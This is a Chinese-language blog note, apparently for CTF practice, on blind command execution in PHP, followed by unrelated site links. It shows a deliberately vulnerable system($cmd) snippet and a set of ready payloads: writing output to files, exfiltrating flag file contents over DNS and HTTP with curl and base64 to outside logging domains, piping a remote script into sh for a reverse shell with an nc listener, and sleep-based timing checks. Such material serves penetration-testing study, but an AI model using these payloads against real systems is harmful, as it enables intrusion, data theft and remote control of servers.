php--无回显情况下的命令执行

免责声明:本文仅做技术交流与学习...

目录

绕过模版:

[1. 写入文件、二次返回:](#1. 写入文件、二次返回:)

[2. DNS信道:](#2. DNS信道:)

3.http信道:

[4.反弹shell信道 -->公网IP](#4.反弹shell信道 -->公网IP)

[5.延时 sleep 3](#5.延时 sleep 3)


建立通道(信道) --数据传输的路径

shell_exec 与 system 相比,shell_exec没有回显结果.

绕过模版:

<?php

echo "hello world";

命令执行:

cmd=_POST['cmd'];

system($cmd);

?>

1. 写入文件、二次返回:

/?cmd=whoami>1.txt

再访问1.txt:

/?cmd=cat fl?g.php>1.txt


2. DNS信道:

dnslog.cn

/?cmd=ping -c 1 `执行命令`.域名 --1次解析

/?cmd=a=`sed -n "3,4p" fla?.php`;curl${a:0:10}.域名 --一次带出的字符有限.

/?cmd=a=`sed -n "3,4p" fla?.php`;curl${a:10:30}.域名

/?cmd=a=`sed -n "3,4p" fla?.php|base64`;curl${a:10:30}.域名 --base64编码


3.http信道:

https://requestrepo.com/#/

https://requestrepo.com/#/

(看get请求包)

/?cmd=curl http://域名/?1=\`ls .|base64`

/?cmd=curl http://域名/?1=\`cat fl?g.php|base64`


4.反弹shell信道 -->公网IP

https://your-shell.com/

https://your-shell.com/

(用微软的浏览器访问.)

curl https://your-shell.com/\<your公网ip>:1337 | sh

/?cmd=curl https://your-shell.com/\<your公网ip>:1337 | sh

服务器: nc -lvvnp 1337


5.延时 sleep 3

--麻烦啊

&2=sleep 3 ||还可验证命令执行.


相关推荐
用户962377954485 小时前
VulnHub DC-1 靶机渗透测试笔记
笔记·测试
JaguarJack7 小时前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo7 小时前
PHP 的异步编程 该怎么选择
后端·php
叶落阁主1 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
JaguarJack1 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
齐生11 天前
iOS 知识点 - IAP 是怎样的?
笔记
茶杯梦轩1 天前
从零起步学习RabbitMQ || 第二章:RabbitMQ 深入理解概念 Producer、Consumer、Exchange、Queue 与企业实战案例
服务器·后端·消息队列
tingshuo29172 天前
D006 【模板】并查集
笔记
ServBay2 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954482 天前
CTF 伪协议
php